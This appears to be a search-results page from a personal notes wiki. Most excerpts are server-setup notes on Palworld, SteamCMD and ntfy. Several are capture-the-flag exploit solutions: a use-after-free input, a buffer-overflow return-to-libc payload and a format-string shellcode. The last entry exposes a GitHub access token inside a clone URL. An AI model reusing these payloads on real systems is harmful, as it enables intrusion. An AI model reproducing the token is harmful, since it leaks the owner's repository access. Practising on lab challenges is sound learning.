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105 total results found

ELF x86 - Use After Free - basic

Exploitation de binaire avancé

app-systeme-ch63@challenge03:~$ printf "1\ntoto\n4\n5\nAAAABBBBCCCC\xcb\x87\x04\ x08\nhome\n7\n3\n" | ./ch63 1: Buy a dog 2: Make him bark 3: Bring me the flag 4: Watch his death 5: Build dog house 6: Give dog house to your dog 7: Break dog house 0: Quit How d...

ELF x86 - Stack buffer overflow basic 6

Exploitation de binaire avancé

app-systeme-ch33@challenge02:~$ ./ch33 $(python -c 'print "A"*32 + "\xb0\x70\xe6\xb7" + "\xf0\xab\xe5\xb7" + "\xfd\xfd\xff\xbf"') Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�p���������� sh-4.2$ cat .passwd

ELF x86 - Format String Bug Basic 3

Exploitation de binaire avancé

app-systeme-ch17@challenge02:~$ export SHELLCODE=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'` # METTRE DANS /tmp/findenv.c le code suivant : #includ...

Illumio VEN

Linux tools

retrieve the CA-root on the ansible srv connect to the ansible srv and execute the following commands: cd /usr/share/illumio python3 -m http.server install the CA-root on the VEN srv connect to the srv where the VEN must be installed and execute the foll...

Cheatsheet

Linux tools

SOON

How server work

Budget Back-end

All route for the API are in server.ts, if you want to add new route add it here in the right section: 'User section' => all route related to the user request (add/alter/drop) 'Data section' => all route related to the data function (add/alter/drop) 'Account ...

What is requeter for ?

Budget Back-end

requeter.ts is where we put all the prisma request that we call in our function / API, the are 2 sections in requeter.ts: 'admin only' => contain all admin only request (fetch all users / alter any user / account type changement) 'public' => all other request...

Extend / partition

Linux documentation

FOR UBUNTU To extend the size of / partition just follow the commands below: sudo vgdisplay sudo cfdisk /dev/sdaX # selectionner la partion a augmenté puis cliquer sur rezise puis write puis quit sudo pvresize sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-l...

Create a Palworld server

Palworld

Requirement Linux server (ubuntu 22.04 LTS) memory: 32 GB vCPU: 6 cores 4 sockets storage: 100 GB NVMe SteamCMD Installation first get the server files with steamCMD steamcmd +login anonymous +app_update 2394010 validate +quit then go to ~/Steam/steama...

Palworld Server Configuration

Palworld

Requirement Linux server (ubuntu 22.04 LTS) Palworld dedicated server installed Configuration First the configuration of the server take place in the ~/Steam/steamapps/common/PalServer/Pal/Saved/Config/LinuxServer/PalWorldSettings.ini In it the most importan...

Install SteamCMD

SteamCMD

Requirements Linux Server (ubuntu 22.04 LTS) Installation First you need to create an user that will manage the steamcmd utilities sudo useradd -m steam sudo passwd steam sudo usermod -a -G sudo steam then go into the steam home folder sudo -u steam -s cd ...

Server Maintenance

Palworld

Backups Backups are very important, especially if you're running a private server. See this guide on how to create backups: guide. We recommend creating a backup every 6 hours. Restarting Restarting your server is very important, especially if you're running a...

Troubleshooting

Palworld

Bashtop

Linux tools

sudo add-apt-repository ppa:bashtop-monitor/bashtop sudo apt update sudo apt install bashtop

Docker compose

NTFY

version: '3' services: ntfy: image: binwiederhier/ntfy restart: unless-stopped environment: NTFY_BASE_URL: https://your-domain.io NTFY_BEHIND_PROXY: true NTFY_ATTACHMENT_CACHE_DIR: /var/lib/ntfy/attachments NTFY_CACHE_FILE...

Installation

NTFY

Requirement 1 linux server docker-compose installed on the server cloudflare account a reverse proxy (nginx here) a domain name Stack deployement Login to your server (or here portainer) and deploy the stack for ntfy with the docker-compose file given then ...

Security

NTFY

Users You can securise your topic and ntfy instance by only allowing connected users. For that follow the next instructions: add to your docker-compose the following environment: NTFY_ENABLE_LOGIN: true # Enable the login module ...

Monitoring

NTFY

Metrics for prometheus version: '3' services: ntfy: image: binwiederhier/ntfy restart: unless-stopped environment: NTFY_BASE_URL: https://my-domain NTFY_BEHIND_PROXY: true NTFY_ATTACHMENT_CACHE_DIR: /var/lib/ntfy/attachments ...

Create token to manage private repo with cli

Github command & tricks

Go to this url: https://github.com/settings/tokens?type=beta create a new token Select Only select repositories Repository permission: contents => read & write Commit statues => read & write Save token and copy it, then git clone with this command git clo...

Get linux aliases

Github command & tricks

git clone https://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@github.com/Ezeqielle/aliases